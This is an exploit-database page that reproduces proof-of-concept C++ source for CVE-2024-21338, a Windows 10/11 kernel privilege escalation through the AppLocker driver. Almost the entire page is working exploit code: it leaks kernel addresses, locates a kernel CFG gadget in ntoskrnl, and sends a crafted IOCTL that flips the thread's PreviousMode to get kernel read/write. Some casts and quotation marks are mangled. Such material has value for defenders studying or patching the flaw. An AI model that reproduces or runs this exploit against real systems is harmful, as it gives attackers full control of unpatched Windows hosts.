Microsoft Windows 11 – Kernel Privilege Escalation

Exploit Details

Basic Information

Exploit Title Microsoft Windows 11 – Kernel Privilege Escalation
Exploit ID EDB-ID:52275
Type exploitdb
Published 2025-04-22T00:00:00
Modified 2025-04-22T00:00:00

CVSS Information

CVSS Score 7.8
Severity HIGH
Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE Information

  • CVE-2024-21338

Exploit Description

Exploit Title: Microsoft Windows 11 – Kernel Privilege Escalation Date: 2025-04-16 Exploit Author: Milad Karimi (Ex3ptionaL) Contact: [email protected]

Exploit Code

# Exploit Title: Microsoft Windows 11 – Kernel Privilege Escalation

# Date: 2025-04-16

# Exploit Author: Milad Karimi (Ex3ptionaL)

# Contact: [email protected]

# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL

# Tested on: Win, Ubuntu

# CVE : CVE-2024-21338

#include “pch.hpp”

#include “poc.hpp”

// This function is used to set the IOCTL buffer depending on the Windows

version

void* c_poc::set_ioctl_buffer(size_t* k_thread_offset, OSVERSIONINFOEXW*

os_info)

{

os_info->dwOSVersionInfoSize = sizeof(*os_info);

// Get the OS version

NTSTATUS status = RtlGetVersion(os_info);

if (!NT_SUCCESS(status)) {

log_err(“Failed to get OS version!”);

return nullptr;

}

log_debug(“Windows version detected: %lu.%lu, build: %lu.”,

os_info->dwMajorVersion, os_info->dwMinorVersion, os_info->dwBuildNumber);

// “PreviousMode” offset in ETHREAD structure

*k_thread_offset = 0x232;

// Set the “AipSmartHashImageFile” function buffer depending on the

Windows version

void* ioctl_buffer_alloc = os_info->dwBuildNumber < 22000
? malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W10))

: malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W11));

return ioctl_buffer_alloc;

}

// This function is used to get the ETHREAD address through the

SystemHandleInformation method that is used to get the address of the

current thread object based on the pseudo handle -2

UINT_PTR c_poc::get_ethread_address()

{

// Duplicate the pseudo handle -2 to get the current thread object

HANDLE h_current_thread_pseudo = reinterpret_cast(-2);

HANDLE h_duplicated_handle = {};

if (!DuplicateHandle(

reinterpret_cast(-1),

h_current_thread_pseudo,

reinterpret_cast(-1),

&h_duplicated_handle,

NULL,

FALSE,

DUPLICATE_SAME_ACCESS))

{

log_err(“Failed to duplicate handle, error: %lu”, GetLastError());

return EXIT_FAILURE;

}

NTSTATUS status = {};

ULONG ul_bytes = {};

PSYSTEM_HANDLE_INFORMATION h_table_info = {};

// Get the current thread object address

while ((status = NtQuerySystemInformation(SystemHandleInformation,

h_table_info, ul_bytes, &ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH)

{

if (h_table_info != NULL)

h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(),

HEAP_ZERO_MEMORY, h_table_info, (2 * (SIZE_T)ul_bytes));

else

h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),

HEAP_ZERO_MEMORY, (2 * (SIZE_T)ul_bytes));

}

UINT_PTR ptr_token_address = 0;

if (NT_SUCCESS(status)) {

for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {

if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &&

h_table_info->Handles[i].HandleValue ==

reinterpret_cast(h_duplicated_handle)) {

ptr_token_address =

reinterpret_cast(h_table_info->Handles[i].Object);

break;

}

}

}

else {

if (h_table_info) {

log_err(“NtQuerySystemInformation failed, (code: 0x%X)”, status);

NtClose(h_duplicated_handle);

}

}

return ptr_token_address;

}

// This function is used to get the FileObject address through the

SystemHandleInformation method that is used to get the address of the file

object.

UINT_PTR c_poc::get_file_object_address()

{

// Create a dummy file to get the file object address

HANDLE h_file = CreateFileW(L”C:\\Users\\Public\\example.txt”,

GENERIC_READ | GENERIC_WRITE,

FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,

CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);

if (h_file == INVALID_HANDLE_VALUE) {

log_err(“Failed to open dummy file, error: %lu”, GetLastError());

return EXIT_FAILURE;

}

// Get the file object address

NTSTATUS status = {};

ULONG ul_bytes = 0;

PSYSTEM_HANDLE_INFORMATION h_table_info = NULL;

while ((status = NtQuerySystemInformation(

SystemHandleInformation, h_table_info, ul_bytes,

&ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {

if (h_table_info != NULL)

h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(),

HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);

else

h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),

HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);

}

UINT_PTR token_address = 0;

if (NT_SUCCESS(status)) {

for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {

if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &&

h_table_info->Handles[i].HandleValue ==

reinterpret_cast(h_file)) {

token_address =

reinterpret_cast(h_table_info->Handles[i].Object);

break;

}

}

}

return token_address;

}

// This function is used to get the kernel module address based on the

module name

UINT_PTR c_poc::get_kernel_module_address(const char* target_module)

{

// Get the kernel module address based on the module name

NTSTATUS status = {};

ULONG ul_bytes = {};

PSYSTEM_MODULE_INFORMATION h_table_info = {};

while ((status = NtQuerySystemInformation(

SystemModuleInformation, h_table_info, ul_bytes,

&ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {

if (h_table_info != NULL)

h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(),

HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);

else

h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),

HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);

}

if (NT_SUCCESS(status)) {

for (ULONG i = 0; i < h_table_info->ModulesCount; i++) {

if (strstr(h_table_info->Modules[i].Name, target_module) != nullptr) {

return reinterpret_cast(

h_table_info->Modules[i].ImageBaseAddress);

}

}

}

return 0;

}

// This function is used to scan the section for the pattern.

BOOL c_poc::scan_section_for_pattern(HANDLE h_process, LPVOID

lp_base_address, SIZE_T dw_size, BYTE* pattern, SIZE_T pattern_size,

LPVOID* lp_found_address) {

std::unique_ptr buffer(new BYTE[dw_size]);

SIZE_T bytes_read = {};

if (!ReadProcessMemory(h_process, lp_base_address, buffer.get(), dw_size,

&bytes_read)) {

return false;

}

for (SIZE_T i = 0; i < dw_size - pattern_size; i++) {
if (memcmp(pattern, &buffer[i], pattern_size) == 0) {

*lp_found_address = reinterpret_cast(

reinterpret_cast(lp_base_address) + i);

return true;

}

}

return false;

}

// This function is used to find the pattern in the module, in this case

the pattern is the nt!ExpProfileDelete function

UINT_PTR c_poc::find_pattern(HMODULE h_module)

{

UINT_PTR relative_offset = {};

auto* p_dos_header = reinterpret_cast(h_module);

auto* p_nt_headers = reinterpret_cast(

reinterpret_cast(h_module) + p_dos_header->e_lfanew);

auto* p_section_header = IMAGE_FIRST_SECTION(p_nt_headers);

LPVOID lp_found_address = nullptr;

for (WORD i = 0; i < p_nt_headers->FileHeader.NumberOfSections; i++) {

if (strcmp(reinterpret_cast(p_section_header[i].Name), “PAGE”) ==

0) {

LPVOID lp_section_base_address =

reinterpret_cast(reinterpret_cast(h_module) +

p_section_header[i].VirtualAddress);

SIZE_T dw_section_size = p_section_header[i].Misc.VirtualSize;

// Pattern to nt!ExpProfileDelete

BYTE pattern[] = { 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83,

0x79, 0x30, 0x00, 0x48, 0x8B, 0xD9, 0x74 };

SIZE_T pattern_size = sizeof(pattern);

if (this->scan_section_for_pattern(

GetCurrentProcess(), lp_section_base_address, dw_section_size,

pattern, pattern_size, &lp_found_address)) {

relative_offset = reinterpret_cast(lp_found_address) –

reinterpret_cast(h_module);

}

break;

}

}

return relative_offset;

}

// This function is used to send the IOCTL request to the driver, in this

case the AppLocker driver through the AipSmartHashImageFile IOCTL

bool c_poc::send_ioctl_request(HANDLE h_device, PVOID input_buffer, size_t

input_buffer_length)

{

IO_STATUS_BLOCK io_status = {};

NTSTATUS status =

NtDeviceIoControlFile(h_device, nullptr, nullptr, nullptr, &io_status,

this->IOCTL_AipSmartHashImageFile, input_buffer,

input_buffer_length, nullptr, 0);

return NT_SUCCESS(status);

}

// This function executes the exploit

bool c_poc::act() {

// Get the OS version, set the IOCTL buffer and open a handle to the

AppLocker driver

OSVERSIONINFOEXW os_info = {};

size_t offset_of_previous_mode = {};

auto ioctl_buffer = this->set_ioctl_buffer(&offset_of_previous_mode,

&os_info);

if (!ioctl_buffer) {

log_err(“Failed to allocate the correct buffer to send on the IOCTL

request.”);

return false;

}

// Open a handle to the AppLocker driver

OBJECT_ATTRIBUTES object_attributes = {};

UNICODE_STRING appid_device_name = {};

RtlInitUnicodeString(&appid_device_name, L”\\Device\\AppID”);

InitializeObjectAttributes(&object_attributes, &appid_device_name,

OBJ_CASE_INSENSITIVE, NULL, NULL, NULL);

IO_STATUS_BLOCK io_status = {};

HANDLE h_device = {};

NTSTATUS status = NtCreateFile(&h_device, GENERIC_READ | GENERIC_WRITE,

&object_attributes, &io_status, NULL, FILE_ATTRIBUTE_NORMAL,

FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0);

if (!NT_SUCCESS(status))

{

log_debug(“Failed to open a handle to the AppLocker driver (%ls) (code:

0x%X)”, appid_device_name.Buffer, status);

return false;

}

log_debug(“AppLocker (AppId) handle opened: 0x%p”, h_device);

log_debug(“Leaking the current ETHREAD address.”);

// Get the ETHREAD address, FileObject address, KernelBase address and the

relative offset of the nt!ExpProfileDelete function

auto e_thread_address = this->get_ethread_address();

auto file_obj_address = this->get_file_object_address();

auto ntoskrnl_kernel_base_address =

this->get_kernel_module_address(“ntoskrnl.exe”);

auto ntoskrnl_user_base_address =

LoadLibraryExW(L”C:\\Windows\\System32\\ntoskrnl.exe”, NULL, NULL);

if (!e_thread_address && !ntoskrnl_kernel_base_address &&

!ntoskrnl_user_base_address && !file_obj_address)

{

log_debug(“Failed to fetch the ETHREAD/FileObject/KernelBase addresses.”);

return false;

}

log_debug(“ETHREAD address leaked: 0x%p”, e_thread_address);

log_debug(“Feching the ExpProfileDelete (user cfg gadget) address.”);

auto relative_offset = this->find_pattern(ntoskrnl_user_base_address);

UINT_PTR kcfg_gadget_address = (ntoskrnl_kernel_base_address +

relative_offset);

ULONG_PTR previous_mode = (e_thread_address + offset_of_previous_mode);

log_debug(“Current ETHREAD PreviousMode address -> 0x%p”, previous_mode);

log_debug(“File object address -> 0x%p”, file_obj_address);

log_debug(“kCFG Kernel Base address -> 0x%p”,

ntoskrnl_kernel_base_address);

log_debug(“kCFG User Base address -> 0x%p”, ntoskrnl_user_base_address);

log_debug(“kCFG Gadget address -> 0x%p”, kcfg_gadget_address);

// Set the IOCTL buffer depending on the Windows version

size_t ioctl_buffer_length = {};

CFG_FUNCTION_WRAPPER kcfg_function = {};

if (os_info.dwBuildNumber < 22000) {
AIP_SMART_HASH_IMAGE_FILE_W10* w10_ioctl_buffer =

(AIP_SMART_HASH_IMAGE_FILE_W10*)ioctl_buffer;

kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;

// Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in

ObfDereferenceObjectWithTag

UINT_PTR previous_mode_obf = previous_mode + 0x30;

w10_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00

w10_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08

w10_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10

ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W10);

}

else

{

AIP_SMART_HASH_IMAGE_FILE_W11* w11_ioctl_buffer =

(AIP_SMART_HASH_IMAGE_FILE_W11*)ioctl_buffer;

kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;

// Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in

ObfDereferenceObjectWithTag

UINT_PTR previous_mode_obf = previous_mode + 0x30;

w11_ioctl_buffer->FirstArg = previous_mode_obf; // +0x00

w11_ioctl_buffer->Value = (PVOID)file_obj_address; // +0x08

w11_ioctl_buffer->PtrToFunctionWrapper = &kcfg_function; // +0x10

w11_ioctl_buffer->Unknown = NULL; // +0x18

ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W11);

}

// Send the IOCTL request to the driver

log_debug(“Sending IOCTL request to 0x22A018 (AipSmartHashImageFile)”);

char* buffer = (char*)malloc(sizeof(CHAR));

if (ioctl_buffer)

{

log_debug(“ioctl_buffer -> 0x%p size: %d”, ioctl_buffer,

ioctl_buffer_length);

if (!this->send_ioctl_request(h_device, ioctl_buffer,

ioctl_buffer_length))

return false;

NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)buffer,

(PVOID)previous_mode, sizeof(CHAR), nullptr);

log_debug(“Current PreviousMode -> %d”, *buffer);

// From now on all Read/Write operations will be done in Kernel Mode.

}

log_debug(“Restoring…”);

// Restores PreviousMode to 1 (user-mode).

*buffer = 1;

NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)previous_mode,

(PVOID)buffer, sizeof(CHAR), nullptr);

log_debug(“Current PreviousMode -> %d”, *buffer);

// Free the allocated memory and close the handle to the AppLocker driver

free(ioctl_buffer);

free(buffer);

NtClose(h_device);

return true;

}

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.